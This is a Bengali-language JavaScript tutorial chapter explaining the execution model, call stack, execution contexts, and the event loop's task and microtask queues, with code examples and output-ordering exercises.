“ইন্টারসেপ্ট করা অপারেশনটিকে স্ট্যান্ডার্ড ও পরিষ্কারভাবে মূল টার্গেট অবজেক্টের ওপর সম্পন্ন করতে চাই।”
📌 Next Chapter Preview:
Chapter 29 — JavaScript Execution Model & Event Loop
পরবর্তী চ্যাপ্টারে আমরা শিখব Execution Context, Call Stack, Memory Heap, Microtask Queue, Macrotask Queue, Web APIs এবং Asynchronous Order of Execution।
Chapter 29
↑ Index
Execution Model & Event Loop — এক্সিকিউশন মডেল ও ইভেন্ট লুপ
Total Modules
55 Modules + Practice Lab
Curriculum Part
Part 23 — Execution Model & Event Loop
Core Mechanics
Call Stack, Microtasks, Task Queue & V8
Reference Standard
HTML5 Event Loop Spec / ECMAScript 2026
🎯 JavaScript Execution Model & Event Loop — অ্যাসিঙ্ক আর্কিটেকচার শেখার মূল উদ্দেশ্য

JavaScript সিঙ্গেল-থ্রেডেড হয়েও কীভাবে বিলিয়ন রিকোয়েস্ট, নেটওয়ার্ক আই/ও এবং নন-ব্লকিং ইউআই পরিচালনা করে—তার পেছনের চালিকাশক্তি হলো Event Loop ও Execution Context। এই চ্যাপ্টারে আমরা Call Stack (LIFO), Memory Heap, Web APIs, Microtask Queue (Promises), Macrotask Queue (Timers) এবং ব্রাউজার রেন্ডারিং পাইপলাইন গভীরভাবে শিখব।

📌 1. Execution Model
📌 2. Single-Threaded Nature
📌 3. Runtime Components
📌 4. V8 Engine Architecture
📌 5. Call Stack (LIFO)
📌 6. Stack Overflow Trap
📌 7. Memory Heap Allocations
📌 8. Execution Context (GEC/FEC)
📌 9. Creation & Execution Phase
📌 10. Lexical Scope Chain
📌 11. Browser Host Web APIs
📌 12. Event Loop Core Algorithm
📌 13. Task / Macrotask Queue
📌 14. Microtask Queue Priority
📌 15. setTimeout(fn, 0) Reality
📌 16. Promise Microtask Drain
📌 17. Async/Await Execution Order
📌 18. fetch() & DOM Queues
📌 19. Microtask Starvation
📌 20. Rendering Frame Sync
📌 21. queueMicrotask() API
📌 22. React Concurrent Mode
📌 23. Node.js Event Loop Phases
📌 24. 4 Execution Trace Labs
Part 01 — JavaScript Engine, Call Stack & Memory Heap (29.1 – 29.10)
29.1 JavaScript Execution Model কী?

JavaScript code কীভাবে: 1. Read করে 2. Execute করে 3. Function call handle করে 4. Asynchronous কাজ manage করে 5. পরে result execute করে —এই পুরো system-টাই JavaScript-এর Execution Model। সহজভাবে:

🧭 Architecture / Concept Flow
JavaScript Code
      ↓
Execution Context
      ↓
Call Stack
      ↓
Synchronous Execution
      ↓
Async কাজ → Host APIs
      ↓
Task / Microtask Queue
      ↓
Event Loop
      ↓
Call Stack
      ↓
Execution
29.2 JavaScript কি Single-Threaded?

সাধারণ JavaScript execution model-এ একটি main JavaScript execution thread-এ এক সময়ে একটি piece of JavaScript code execute হয়। তাই আমরা বলি: > JavaScript is single-threaded. উদাহরণ:

JavaScript SourceJavaScript
console.log("A");
console.log("B");
console.log("C");

Output:

▶ CONSOLE OUTPUTOutput
A
B
C

একসাথে:

▶ CONSOLE OUTPUTOutput
A
B
C

execute হয় না। একটির execution শেষ হওয়ার পর পরেরটি execute হয়।

🔹 কিন্তু একটা গুরুত্বপূর্ণ বিষয়

এর মানে এই নয় যে browser একেবারেই parallel কাজ করতে পারে না। Browser/Node.js-এর মতো host environment JavaScript-এর বাইরে বিভিন্ন কাজ handle করতে পারে—যেমন:

  • Timer
  • Network request
  • File I/O
  • DOM events
  • Background operations

এবং JavaScript পরে সেই কাজের result handle করে।

29.3 JavaScript Runtime-এর Main Components

একটি simplified browser JavaScript runtime:

🧭 Architecture / Concept Flow
JavaScript Runtime
┌──────────────────────────────────────────┐
│                                          │
│       ┌───────────────┐                  │
│       │   Call Stack   │                  │
│       └───────┬───────┘                  │
│               │                          │
│       ┌───────▼───────┐                  │
│       │  JavaScript    │                  │
│       │     Engine     │                  │
│       └───────────────┘                  │
│                                          │
│       ┌──────────────────┐               │
│       │      Heap        │               │
│       └──────────────────┘               │
│                                          │
└──────────────────────────────────────────┘

Browser / Host Environment
        │
        ├── Web APIs
        │
        ├── Task Queue
        │
        ├── Microtask Queue
        │
        └── Event Loop

এগুলো একে একে বুঝি।

29.4 JavaScript Engine

JavaScript Engine হলো সেই software system যেটা JavaScript code বুঝে execute করে। Popular engines:

EnvironmentEngine
ChromeV8
EdgeV8
Node.jsV8
FirefoxSpiderMonkey
SafariJavaScriptCore

উদাহরণ:

JavaScript SourceJavaScript
const x = 10;

console.log(x);

Engine এই code process করে execute করে।

29.5 Call Stack কী?

Call Stack হলো JavaScript-এর function execution track করার একটি mechanism। সহজভাবে: > কোন function এখন execute হচ্ছে এবং কোন function থেকে call হয়েছে—Call Stack সেটা track করে। উদাহরণ:

JavaScript SourceJavaScript
function one() {
    two();
}

function two() {
    three();
}

function three() {
    console.log("Hello");
}

one();

Execution:

🧭 Architecture / Concept Flow
one()
  ↓
two()
  ↓
three()

Call Stack:

🧭 Architecture / Concept Flow
┌─────────┐
│ three() │
├─────────┤
│ two()   │
├─────────┤
│ one()   │
└─────────┘

three() শেষ হলে:

▶ CONSOLE OUTPUTOutput
three() removed

তারপর:

▶ CONSOLE OUTPUTOutput
two() removed

তারপর:

▶ CONSOLE OUTPUTOutput
one() removed
29.6 Call Stack — Real Life Example

ধরো তুমি একটি restaurant-এ order দিচ্ছো।

🧭 Architecture / Concept Flow
Customer
   ↓
Order
   ↓
Food preparation

যে কাজটি এখন চলছে সেটা top-এ থাকবে। একইভাবে:

🧭 Architecture / Concept Flow
main()
  ↓
login()
  ↓
validateUser()

সবচেয়ে নিচে:

▶ CONSOLE OUTPUTOutput
main()

সবচেয়ে উপরে:

▶ CONSOLE OUTPUTOutput
validateUser()
29.7 Stack হলো LIFO

Call Stack সাধারণত LIFO principle follow করে। > Last In, First Out উদাহরণ:

🧭 Architecture / Concept Flow
A()
 ↓
B()
 ↓
C()

প্রথমে C() শেষ হবে।

▶ CONSOLE OUTPUTOutput
C()
B()
A()
29.8 Simple Call Stack Example
JavaScript SourceJavaScript
console.log("Start");

function hello() {
    console.log("Hello");
}

hello();

console.log("End");

Output:

▶ CONSOLE OUTPUTOutput
Start
Hello
End

Execution:

🧭 Architecture / Concept Flow
console.log("Start")
       ↓
hello()
       ↓
console.log("Hello")
       ↓
console.log("End")
29.9 Stack Overflow

যদি function নিজেকেই continuously call করে এবং কোনো stopping condition না থাকে:

JavaScript SourceJavaScript
function test() {
    test();
}

test();

তাহলে:

▶ CONSOLE OUTPUTOutput
test()
test()
test()
test()
...

Call Stack পূর্ণ হয়ে যাবে। শেষে error:

▶ CONSOLE OUTPUTOutput
RangeError: Maximum call stack size exceeded

এটাকে বলে: > Stack Overflow

29.10 Heap কী?

Heap হলো memory-এর একটি area যেখানে JavaScript runtime dynamically allocated data রাখে। যেমন:

JavaScript SourceJavaScript
const user = {
    name: "Ripon",
    age: 23
};

Object-এর data runtime memory-তে রাখা হয়। Array:

JavaScript SourceJavaScript
const numbers = [10, 20, 30];

Function/object-এর মতো reference-based data heap-এর সাথে সম্পর্কিত। সহজভাবে:

🧭 Architecture / Concept Flow
Call Stack
→ execution tracking

Heap
→ dynamically allocated objects/data

Memory Management বিস্তারিতভাবে আমরা Chapter 30-এ দেখব।

Part 02 — Execution Context, Lifecycle Phases & Scope Chain (29.11 – 29.17)
29.11 Execution Context কী?

JavaScript যখন code execute করে, তখন তার জন্য একটি Execution Context তৈরি হয়। সহজভাবে: > JavaScript code execute করার জন্য যে environment তৈরি হয় সেটাই Execution Context। প্রধানত:

🔹 1. Global Execution Context

সবচেয়ে প্রথমে তৈরি হয়।

🔹 2. Function Execution Context

প্রতিবার function call হলে তৈরি হয়।

🔹 3. Eval Execution Context

eval() ব্যবহার করলে তৈরি হতে পারে। Modern development-এ সাধারণত avoid করা হয়।

29.12 Global Execution Context

এই code:

JavaScript SourceJavaScript
const name = "Ripon";

console.log(name);

execute করার সময় JavaScript একটি:

🧭 Architecture / Concept Flow
Global Execution Context

তৈরি করে। এখানে global-level variables/functions এবং অন্যান্য execution information থাকে।

29.13 Function Execution Context

এই code:

JavaScript SourceJavaScript
function greet(name) {
    console.log(name);
}

greet("Ripon");

greet() call হলে নতুন Function Execution Context তৈরি হয়।

🧭 Architecture / Concept Flow
Global Execution Context
        ↓
Function Execution Context
        ↓
greet()

greet() শেষ হলে function context চলে যায়।

29.14 Execution Context-এর Creation Phase

একটি execution context তৈরি হওয়ার সময় JavaScript আগে execution-এর জন্য environment প্রস্তুত করে। সহজভাবে:

🧭 Architecture / Concept Flow
Creation Phase
      ↓
Environment তৈরি
      ↓
Declarations setup
      ↓
Execution Phase
      ↓
Code execute

এই কারণে আমরা hoisting দেখতে পাই। উদাহরণ:

JavaScript SourceJavaScript
console.log(x);

var x = 10;

Output:

▶ CONSOLE OUTPUTOutput
undefined

কারণ var x declaration আগে থেকেই environment-এ setup হয়। তবে:

JavaScript SourceJavaScript
console.log(x);

let x = 10;

এতে error:

▶ CONSOLE OUTPUTOutput
ReferenceError

কারণ let এবং const declaration execution-এর আগে scope-এ থাকলেও initialization-এর আগে access করা যায় না। এই সময়টাকে Temporal Dead Zone (TDZ) বলা হয়।

29.15 Execution Phase

তারপর actual code execute হয়।

JavaScript SourceJavaScript
const x = 10;

console.log(x);

Conceptually:

🧭 Architecture / Concept Flow
Creation Phase
     ↓
x environment-এ setup
     ↓
Execution Phase
     ↓
x = 10
     ↓
console.log(x)
29.16 Lexical Environment

JavaScript variables কোথায় থাকবে এবং কোন variable কোথা থেকে accessible হবে—এটার সাথে Lexical Environment সম্পর্কিত। উদাহরণ:

JavaScript SourceJavaScript
const globalName = "Ripon";

function greet() {
    const message = "Hello";

    console.log(globalName);
    console.log(message);
}

greet();

greet() access করতে পারে:

▶ CONSOLE OUTPUTOutput
message
globalName

কারণ scope chain-এর মাধ্যমে outer environment পাওয়া যায়।

29.17 Scope Chain
JavaScript SourceJavaScript
const a = 10;

function outer() {
    const b = 20;

    function inner() {
        const c = 30;

        console.log(a);
        console.log(b);
        console.log(c);
    }

    inner();
}

outer();

inner() দেখতে পারে:

🧭 Architecture / Concept Flow
c → নিজের scope
b → outer scope
a → global scope

এটাই scope chain-এর basic ধারণা। Closure-এর সাথে এই বিষয়টি খুব গুরুত্বপূর্ণ—যেটা Chapter 26-এ আমরা বিস্তারিত করেছি।

Part 03 — Asynchronous Mechanics, Web APIs & Event Loop Architecture (29.18 – 29.26)
29.18 Synchronous JavaScript

Synchronous code line-by-line execute হয়।

JavaScript SourceJavaScript
console.log("1");
console.log("2");
console.log("3");

Output:

▶ CONSOLE OUTPUTOutput
1
2
3

Flow:

🧭 Architecture / Concept Flow
1
↓
2
↓
3
29.19 Asynchronous JavaScript কেন দরকার?

ধরো server থেকে data আনতে 5 seconds লাগছে। যদি JavaScript পুরো thread block করে অপেক্ষা করত:

🧭 Architecture / Concept Flow
Request
 ↓
Wait 5 seconds
 ↓
Continue

তাহলে webpage freeze হয়ে যেত। তাই browser/host environment asynchronous APIs ব্যবহার করে।

29.20 Web APIs কী?

Browser JavaScript language-এর নিজস্ব অংশ নয়, কিন্তু browser কিছু APIs দেয়। যেমন:

JavaScript SourceJavaScript
setTimeout()
fetch()
document.querySelector()
addEventListener()
localStorage

এগুলো browser/host environment-এর capabilities-এর সাথে কাজ করে। উদাহরণ:

JavaScript SourceJavaScript
setTimeout(() => {
    console.log("Hello");
}, 2000);

Timer-এর কাজ host environment handle করে।

29.21 Event Loop কী?

Event Loop হলো এমন একটি mechanism যা দেখে: > Call Stack কখন empty হয়েছে এবং queued asynchronous callbacks কখন JavaScript-এর execution-এর জন্য Stack-এ পাঠানো যাবে। Simplified model:

🧭 Architecture / Concept Flow
┌───────────────┐
          │  Call Stack   │
          └───────┬───────┘
                  │
             Stack Empty?
                  │
                  ▼
          ┌───────────────┐
          │  Event Loop   │
          └───────┬───────┘
                  │
        ┌─────────┴─────────┐
        ▼                   ▼
 Microtask Queue        Task Queue
29.22 Task Queue / Macrotask Queue

Task queue-তে বিভিন্ন asynchronous callback অপেক্ষা করতে পারে। উদাহরণ:

JavaScript SourceJavaScript
setTimeout(() => {
    console.log("Timer");
}, 0);

Timer-এর callback ready হলে task queue-তে যেতে পারে। আরও উদাহরণ:

  • setTimeout
  • setInterval
  • কিছু DOM events
  • অন্যান্য host-scheduled tasks
29.23 Microtask Queue

Microtask Queue সাধারণত asynchronous callbacks-এর জন্য ব্যবহৃত হয় যেগুলো current task শেষ হওয়ার পর দ্রুত execute হওয়ার জন্য schedule হয়। সবচেয়ে গুরুত্বপূর্ণ:

JavaScript SourceJavaScript
Promise.then()
Promise.catch()
Promise.finally()
queueMicrotask()

Browser-এ MutationObserver-ও microtask mechanism ব্যবহার করে।

29.24 সবচেয়ে গুরুত্বপূর্ণ Rule 🔥

Simplified browser model:

🧭 Architecture / Concept Flow
Current JavaScript Task
        ↓
Call Stack Empty
        ↓
Microtasks Drain
        ↓
Browser may render
        ↓
Next Task

অর্থাৎ: > Microtask সাধারণত next task-এর আগে execute হয়। এটা Event Loop-এর সবচেয়ে গুরুত্বপূর্ণ concept।

29.25 First Event Loop Example
JavaScript SourceJavaScript
console.log("A");

setTimeout(() => {
    console.log("B");
}, 0);

console.log("C");

Output:

▶ CONSOLE OUTPUTOutput
A
C
B

কেন?

🔹 Step 1
JavaScript SourceJavaScript
console.log("A");

Output:

▶ CONSOLE OUTPUTOutput
A
🔹 Step 2
JavaScript SourceJavaScript
setTimeout(...)

Timer host environment-এ schedule হয়।

🔹 Step 3
JavaScript SourceJavaScript
console.log("C");

Output:

▶ CONSOLE OUTPUTOutput
C
🔹 Step 4

Current synchronous code শেষ। তারপর timer callback execute করার সুযোগ পায়।

▶ CONSOLE OUTPUTOutput
B

Final:

▶ CONSOLE OUTPUTOutput
A
C
B
29.26 setTimeout(..., 0) মানে Immediately নয়

এটা খুব গুরুত্বপূর্ণ।

JavaScript SourceJavaScript
setTimeout(() => {
    console.log("Hello");
}, 0);

0 মানে: > যত তাড়াতাড়ি সম্ভব timer-এর callback task হিসেবে schedule করার সুযোগ তৈরি করা। এটা immediately execute বোঝায় না। যদি stack-এ blocking কাজ থাকে:

JavaScript SourceJavaScript
setTimeout(() => {
    console.log("Timer");
}, 0);

for (let i = 0; i < 1000000000; i++) {
    // heavy work
}

তাহলে timer অপেক্ষা করবে।

Part 04 — Microtasks vs Macrotasks: Promises & Execution Order (29.27 – 29.36)
29.27 Microtask vs Task — সবচেয়ে গুরুত্বপূর্ণ Example 🔥🔥
JavaScript SourceJavaScript
console.log("A");

setTimeout(() => {
    console.log("B");
}, 0);

Promise.resolve().then(() => {
    console.log("C");
});

console.log("D");

Output:

▶ CONSOLE OUTPUTOutput
A
D
C
B

কেন?

🔹 প্রথমে synchronous:
▶ CONSOLE OUTPUTOutput
A
D

তারপর:

🧭 Architecture / Concept Flow
Microtask
↓
C

তারপর:

🧭 Architecture / Concept Flow
Task
↓
B

তাই:

▶ CONSOLE OUTPUTOutput
A
D
C
B
29.28 Execution Diagram

উপরের code:

JavaScript SourceJavaScript
console.log("A");

setTimeout(() => console.log("B"), 0);

Promise.resolve().then(() => console.log("C"));

console.log("D");

Flow:

🧭 Architecture / Concept Flow
Call Stack
                  │
          ┌───────┴────────┐
          │                │
          ▼                ▼
     console.log A     console.log D
          │                │
          └───────┬────────┘
                  │
                  ▼
           Stack becomes empty
                  │
                  ▼
          Microtask Queue
                  │
                  ▼
                  C
                  │
                  ▼
             Task Queue
                  │
                  ▼
                  B

Final:

▶ CONSOLE OUTPUTOutput
A
D
C
B
29.29 Promise কেন আগে চলে?
JavaScript SourceJavaScript
Promise.resolve().then(() => {
    console.log("Promise");
});

setTimeout(() => {
    console.log("Timer");
}, 0);

Output:

▶ CONSOLE OUTPUTOutput
Promise
Timer

কারণ:

🧭 Architecture / Concept Flow
Promise callback → Microtask
Timer callback   → Task

Current task শেষ হলে microtasks আগে drain হয়।

29.30 Nested Microtasks

এবার একটু tricky:

JavaScript SourceJavaScript
console.log("A");

Promise.resolve().then(() => {
    console.log("B");

    Promise.resolve().then(() => {
        console.log("C");
    });
});

console.log("D");

Output:

▶ CONSOLE OUTPUTOutput
A
D
B
C

কারণ:

🧭 Architecture / Concept Flow
A
D
↓
Microtask B
↓
B-এর ভিতর C নতুন microtask
↓
C

Microtask queue drain হওয়ার সময় নতুন microtask যোগ হলে সেটাও current microtask checkpoint-এ process হতে পারে।

29.31 Timer-এর ভিতরে Promise
JavaScript SourceJavaScript
setTimeout(() => {
    console.log("Timer");

    Promise.resolve().then(() => {
        console.log("Promise");
    });
}, 0);

Output:

▶ CONSOLE OUTPUTOutput
Timer
Promise

কারণ timer callback একটি task। তার callback-এর synchronous অংশ:

▶ CONSOLE OUTPUTOutput
Timer

শেষ হওয়ার পর তার তৈরি করা microtask:

▶ CONSOLE OUTPUTOutput
Promise

execute হওয়ার সুযোগ পায়।

29.32 Promise-এর ভিতরে Timer
JavaScript SourceJavaScript
Promise.resolve().then(() => {
    console.log("Promise");

    setTimeout(() => {
        console.log("Timer");
    }, 0);
});

Output:

▶ CONSOLE OUTPUTOutput
Promise
Timer

কারণ:

🧭 Architecture / Concept Flow
Promise → Microtask
Timer   → Task
29.33 Async/Await এবং Event Loop

async/await internally Promise-based behavior-এর সাথে কাজ করে। উদাহরণ:

JavaScript SourceJavaScript
async function test() {
    console.log("A");

    await Promise.resolve();

    console.log("B");
}

test();

console.log("C");

Output:

▶ CONSOLE OUTPUTOutput
A
C
B

কেন? await-এর পরে function-এর continuation পরে resume হয়। Conceptually:

🧭 Architecture / Concept Flow
test()
 ↓
A
 ↓
await
 ↓
function pauses
 ↓
C
 ↓
microtask
 ↓
B
29.34 Async/Await Example
JavaScript SourceJavaScript
async function getData() {
    console.log("Start");

    const result = await Promise.resolve("Data");

    console.log(result);
}

getData();

console.log("End");

Output:

▶ CONSOLE OUTPUTOutput
Start
End
Data

কারণ await-এর পরের অংশ asynchronous continuation হিসেবে পরে resume করে।

29.35 fetch() এবং Event Loop

ধরো:

JavaScript SourceJavaScript
fetch("/api/users")
    .then(response => response.json())
    .then(data => {
        console.log(data);
    });

Simplified flow:

🧭 Architecture / Concept Flow
fetch()
  ↓
Browser handles network operation
  ↓
Response arrives
  ↓
Promise settles
  ↓
.then() callback → Microtask Queue
  ↓
Event Loop
  ↓
Call Stack
  ↓
Callback executes

তাই fetch() network-এর জন্য JavaScript thread-কে একইভাবে blocking করে বসিয়ে রাখে না।

29.36 DOM Event এবং Event Loop

ধরো:

JavaScript SourceJavaScript
button.addEventListener("click", () => {
    console.log("Clicked");
});

User click করলে browser event handling mechanism callback schedule করে। Simplified:

🧭 Architecture / Concept Flow
User clicks button
       ↓
Browser detects event
       ↓
Event callback becomes runnable
       ↓
Task
       ↓
Event Loop
       ↓
Call Stack
       ↓
Callback executes
Part 05 — Advanced Runtime Internals, Starvation & Node.js (29.37 – 29.54)
29.37 Blocking Code

এই code:

JavaScript SourceJavaScript
console.log("Start");

for (let i = 0; i < 1000000000; i++) {
    // heavy computation
}

console.log("End");

JavaScript main execution thread heavy কাজ করতে থাকলে:

🧭 Architecture / Concept Flow
Start
↓
Heavy Work
↓
End

এই সময়:

  • UI response slow হতে পারে
  • click handling delay হতে পারে
  • timers delay হতে পারে
  • rendering delay হতে পারে
  • network result callback execution delay হতে পারে
29.38 Event Loop Magic নয়

অনেকে ভাবে: > JavaScript single-threaded, তাহলে এত asynchronous কাজ কীভাবে করে? উত্তর:

🧭 Architecture / Concept Flow
JavaScript
+
Host Environment
+
Queues
+
Event Loop

এই combination asynchronous programming সম্ভব করে।

29.39 Browser Runtime Mental Model

একটি simplified diagram মনে রাখো:

🧭 Architecture / Concept Flow
JavaScript
                     │
                     ▼
              ┌─────────────┐
              │ Call Stack  │
              └──────┬──────┘
                     │
                     │
       ┌─────────────┴─────────────┐
       │                           │
       ▼                           ▼
   Web APIs                    JavaScript
       │                       execution
       │
       ├── Timer
       ├── Fetch
       ├── DOM Events
       └── etc.
       │
       ▼
 ┌──────────────────┐
 │ Task Queue       │
 └──────────────────┘

 ┌──────────────────┐
 │ Microtask Queue  │
 └──────────────────┘

             ▲
             │
        Event Loop
29.40 Microtask Queue-এর গুরুত্বপূর্ণ Sources

মনে রাখো:

JavaScript SourceJavaScript
Promise.then()
Promise.catch()
Promise.finally()
queueMicrotask()

Browser-এ:

▶ CONSOLE OUTPUTOutput
MutationObserver

এগুলো microtask scheduling-এর সাথে সম্পর্কিত।

29.41 Task Queue-এর Common Examples

Common examples:

JavaScript SourceJavaScript
setTimeout()
setInterval()

এছাড়া browser-এর বিভিন্ন event/task scheduling mechanism আছে। যেমন:

▶ CONSOLE OUTPUTOutput
click
keyboard event
timer
message

তবে exact browser scheduling details API/context অনুযায়ী পরিবর্তিত হতে পারে।

29.42 Event Loop-এর Simplified Algorithm

একটি useful mental model:

🧭 Architecture / Concept Flow
1. Execute current task
        ↓
2. Call Stack becomes empty
        ↓
3. Drain Microtask Queue
        ↓
4. Browser may perform rendering
        ↓
5. Take next Task
        ↓
6. Repeat

সবচেয়ে গুরুত্বপূর্ণ:

🧭 Architecture / Concept Flow
Current Task
    ↓
Microtasks
    ↓
Next Task
29.43 🔥 Interview Question

Code:

JavaScript SourceJavaScript
console.log("1");

setTimeout(() => {
    console.log("2");
}, 0);

Promise.resolve().then(() => {
    console.log("3");
});

console.log("4");

Output:

▶ CONSOLE OUTPUTOutput
1
4
3
2
🔹 কেন?
🧭 Architecture / Concept Flow
1 → synchronous
4 → synchronous
3 → microtask
2 → task
29.44 আরেকটি গুরুত্বপূর্ণ Question
JavaScript SourceJavaScript
console.log("Start");

setTimeout(() => {
    console.log("Timer");
}, 0);

Promise.resolve().then(() => {
    console.log("Promise 1");
});

Promise.resolve().then(() => {
    console.log("Promise 2");
});

console.log("End");

Output:

▶ CONSOLE OUTPUTOutput
Start
End
Promise 1
Promise 2
Timer

কারণ:

🧭 Architecture / Concept Flow
Synchronous
↓
Start
End

Microtasks
↓
Promise 1
Promise 2

Task
↓
Timer
29.45 আরও Tricky Example 🔥🔥🔥
JavaScript SourceJavaScript
console.log("A");

setTimeout(() => {
    console.log("B");

    Promise.resolve().then(() => {
        console.log("C");
    });
}, 0);

Promise.resolve().then(() => {
    console.log("D");

    setTimeout(() => {
        console.log("E");
    }, 0);
});

console.log("F");

Expected output:

▶ CONSOLE OUTPUTOutput
A
F
D
B
C
E

Flow:

🧭 Architecture / Concept Flow
A
F
 ↓
Microtask
 ↓
D
 ↓
schedule E timer
 ↓
Next task
 ↓
B
 ↓
microtask
 ↓
C
 ↓
Next task
 ↓
E
29.46 Microtask Starvation

যদি আমরা continuously microtask তৈরি করতে থাকি:

JavaScript SourceJavaScript
function loop() {
    queueMicrotask(loop);
}

loop();

তাহলে microtask queue কখনো empty হওয়ার সুযোগ নাও পেতে পারে। ফলে:

▶ CONSOLE OUTPUTOutput
Microtasks
Microtasks
Microtasks
Microtasks
...

এবং অন্য tasks/rendering অনেক delay হতে পারে। এটাকে broadly: > Microtask Starvation বলা হয়।

29.47 কেন Infinite Microtask Dangerous?

ধরো:

JavaScript SourceJavaScript
queueMicrotask(function repeat() {
    queueMicrotask(repeat);
});

তখন timer:

JavaScript SourceJavaScript
setTimeout(() => {
    console.log("Timer");
}, 0);

প্রত্যাশিত সময়ের মধ্যে execute নাও করতে পারে। কারণ microtask queue repeatedly নতুন কাজ তৈরি করছে।

29.48 Rendering এবং Event Loop

Browser-এ JavaScript execution এবং rendering-এর মধ্যে সম্পর্ক আছে। Heavy synchronous JavaScript:

JavaScript SourceJavaScript
while (true) {
}

করলে browser:

  • UI update করতে পারবে না
  • user interaction respond করতে পারবে না
  • page freeze করতে পারে

তাই frontend development-এ: > Don't block the main thread unnecessarily.

29.49 Real-Life Example

ধরো একটি university cafeteria।

🔹 JavaScript Main Thread

একজন cashier:

▶ CONSOLE OUTPUTOutput
Cashier

একসাথে একজন customer-এর order process করছে।

🔹 Host APIs

Kitchen staff:

▶ CONSOLE OUTPUTOutput
Kitchen

তারা food প্রস্তুত করছে।

🔹 Task Queue

Ready orders-এর queue:

▶ CONSOLE OUTPUTOutput
Order 1
Order 2
Order 3
🔹 Microtask Queue

Priority ছোট follow-up কাজ:

▶ CONSOLE OUTPUTOutput
Urgent follow-up
🔹 Event Loop

Manager দেখছে:

🧭 Architecture / Concept Flow
Cashier free?
   ↓
Priority follow-up আছে?
   ↓
তারপর next order

এটা exact browser implementation নয়, কিন্তু concept বোঝার জন্য useful analogy।

29.50 Node.js-এ Event Loop

Browser আর Node.js-এর host environment এক নয়। Node.js-এ event loop-এর নিজস্ব phases আছে, যেমন:

🧭 Architecture / Concept Flow
Timers
↓
Pending callbacks
↓
Poll
↓
Check
↓
Close callbacks

Node.js-এ আরও গুরুত্বপূর্ণ:

JavaScript SourceJavaScript
process.nextTick()

এটি Node-specific এবং সাধারণ Promise microtask-এর সাথে একেবারে একই queue হিসেবে ভাবা উচিত নয়। Node.js event loop আমরা Node.js-focused Chapter 39-এ আরও গভীরভাবে দেখব।

29.51 queueMicrotask()

নিজে microtask schedule করতে পারো:

JavaScript SourceJavaScript
console.log("A");

queueMicrotask(() => {
    console.log("B");
});

console.log("C");

Output:

▶ CONSOLE OUTPUTOutput
A
C
B

কারণ:

🧭 Architecture / Concept Flow
A → sync
C → sync
B → microtask
29.52 Promise.resolve().then() বনাম queueMicrotask()

দুটিই microtask scheduling-এর common way:

JavaScript SourceJavaScript
Promise.resolve().then(() => {
    console.log("Promise");
});

queueMicrotask(() => {
    console.log("Microtask");
});

দুটিই microtask queue-তে callback schedule করে। তবে API behavior/error handling-এর কিছু পার্থক্য আছে। সাধারণ microtask scheduling-এর জন্য:

JavaScript SourceJavaScript
queueMicrotask()

একটি সরাসরি API।

29.53 Event Loop + React-এর সম্পর্ক

React development-এর জন্য Event Loop বোঝা খুব useful। যেমন:

JavaScript SourceJavaScript
button.addEventListener("click", async () => {
    const response = await fetch("/api/users");

    const data = await response.json();

    console.log(data);
});

Flow:

🧭 Architecture / Concept Flow
Click
 ↓
Event callback
 ↓
fetch()
 ↓
Browser handles network
 ↓
Promise settles
 ↓
await continuation
 ↓
Microtask
 ↓
JavaScript continues
 ↓
React state update হতে পারে
 ↓
Browser rendering

তাই React-এর:

JavaScript SourceJavaScript
useEffect()

সহ asynchronous programming বুঝতেও Event Loop knowledge কাজে লাগে।

29.54 Common Mistakes
🔹 ❌ Mistake 1

setTimeout(fn, 0) মানে immediately।

🔹 Correct:
▶ CONSOLE OUTPUTOutput
Minimum delay + task scheduling
🔹 ❌ Mistake 2

Promise synchronous।

🔹 Correct:
JavaScript SourceJavaScript
Promise.resolve().then(fn);

fn asynchronous callback হিসেবে microtask-এ চলে।

🔹 ❌ Mistake 3

JavaScript-এর সব asynchronous কাজ JavaScript নিজেই background-এ করে।

🔹 Correct:

Host environment/browser/Node.js বিভিন্ন asynchronous operation handle করে।

🔹 ❌ Mistake 4

Single-threaded মানে browser কিছুই parallel করতে পারে না।

🔹 Correct:

JavaScript execution-এর main thread single-threaded হলেও host environment এবং workers আলাদা execution capabilities দিতে পারে।

🔹 ❌ Mistake 5

Microtask এবং Task একই।

🔹 Correct:
▶ CONSOLE OUTPUTOutput
Microtask
Task

দুটির scheduling semantics আলাদা।

Part 06 — Production Mastery, Practice Lab & Mental Map (29.55 – 29.59)
29.55 🔥 MUST KNOW

এই Chapter থেকে অবশ্যই জানতে হবে:

🔹 Core
  • JavaScript execution model
  • JavaScript single-threaded concept
  • JavaScript engine
  • Call Stack
  • Heap
  • Execution Context
  • Global Execution Context
  • Function Execution Context
  • Creation phase
  • Execution phase
  • Lexical Environment
  • Scope Chain
🔹 Event Loop
  • Event Loop
  • Task Queue
  • Microtask Queue
  • Web APIs / Host APIs
  • setTimeout
  • Promise callbacks
  • queueMicrotask
  • async/await
  • fetch
  • DOM events
🔹 সবচেয়ে গুরুত্বপূর্ণ
🧭 Architecture / Concept Flow
Synchronous Code
       ↓
Call Stack
       ↓
Microtask Queue
       ↓
Task Queue

এবং:

🧭 Architecture / Concept Flow
Promise → Microtask
setTimeout → Task
29.Cheat 🧠 Quick Cheat Sheet — Event Loop & Execution Components

JavaScript রানটাইমের প্রতিটি মেকানিজম এবং তার প্রধান ভূমিকার দ্রুত রেফারেন্স টেবিল:

Conceptসহজ অর্থ
Call Stackকোন JS function এখন চলছে
HeapDynamic memory/data-এর সাথে সম্পর্কিত memory area
Execution ContextCode execute করার environment
Global ContextGlobal code-এর execution environment
Function ContextFunction call-এর execution environment
Web APIBrowser-provided capabilities
Event LoopQueue থেকে runnable work execution-এর দিকে আনে
Task QueueTimer/event ইত্যাদির queued callbacks
Microtask QueuePromise/queueMicrotask-এর callbacks
Promise callbackMicrotask
setTimeoutTask scheduling
awaitPromise settle হওয়ার পর continuation resume করে
Stack OverflowCall Stack অতিরিক্ত পূর্ণ হওয়া
BlockingMain JS execution আটকে রাখা
Starvationঅন্য কাজ দীর্ঘসময় সুযোগ না পাওয়া
29.Formula 🎯 Output Question Shortcut — ৩ ধাপের গোল্ডেন রুল

যেকোনো জটিল ইন্টারভিউ কোডের এক্সিকিউশন অর্ডার তাৎক্ষণিকভাবে বের করার শর্টকাট ফর্মুলা:

Sample Execution ProblemJavaScript
console.log("A");

setTimeout(() => {
    console.log("B");
}, 0);

Promise.resolve().then(() => {
    console.log("C");
});

console.log("D");
🧭 Golden Execution Priority
1️⃣ Synchronous (Immediate)
       ↓
2️⃣ Microtask Queue (Promises)
       ↓
3️⃣ Macrotask Queue (Timers)
▶ CONSOLE OUTPUTOutput
A
D
C
B
29.Map 🎯 Final Mental Map & Event Loop Architecture

